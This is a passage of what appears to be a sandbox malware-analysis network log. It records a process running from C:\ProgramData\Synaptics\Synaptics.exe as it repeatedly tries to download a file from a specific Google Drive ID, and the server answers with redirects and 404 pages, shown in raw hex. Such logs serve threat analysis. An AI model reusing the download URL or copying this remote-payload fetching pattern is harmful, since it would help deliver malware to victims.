0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:14 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49837	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:13 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:14 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uvUouGE20KC0T9cfVtF5RQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49840	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:13 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:14 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4GpLwAMwHZLPgIdypb8KqqYpT2OACRHVqncowk_N-eAbtfZVBV_e5Eajxg4LzhRDgfq6NZXXU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:14 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-HxC65DDnAqJQI2FntX3LfQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:14 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:14 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 53 53 51 31 4c 69 58 56 31 54 4f 32 6c 6d 49 6d 4a 79 65 46 34 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="SSQ1LiXV1TO2lmImJyeF4A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:14 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49843	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:14 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49842	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:14 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49846	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:15 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-iQHpnK8AhxGRWLfas85gBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49847	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:15 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:16 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:16 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-DjuCIVLw64X1CPLg1W70mA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49851	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:16 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce--Th4JYBz_mkA-5GPtQSsmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49850	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:16 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:17 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5rXXAg7yDs8NW4hhktZewdDwVO9HRhje8QvGtzHexT3U6psImp7I9j7CN5nDgklML883G8XOg Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:17 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-v7exrKLDwVoRyYNRKvCwqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:17 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:17 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 78 4e 6e 59 6e 43 6e 37 7a 58 7a 49 79 62 70 6d 34 4d 58 44 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="CxNnYnCn7zXzIybpm4MXDA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:17 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49853	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:16 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:17 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:17 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CLLseEq8QfXWdbJYV3tL2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49852	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:16 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:17 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5PwjC9rZAEX_5pwAQXWx1y9KaHaZJI8ezMRpcBVuY0G2mmmKplU5oD-FIs-5kX-JL9 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:17 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-nLydl7xOb_8PlnBrkoyFKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:17 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:17 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 74 59 4b 4d 68 66 71 66 61 2d 59 61 4c 48 5f 5f 6e 7a 58 30 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="ltYKMhfqfa-YaLH__nzX0A">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:17 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

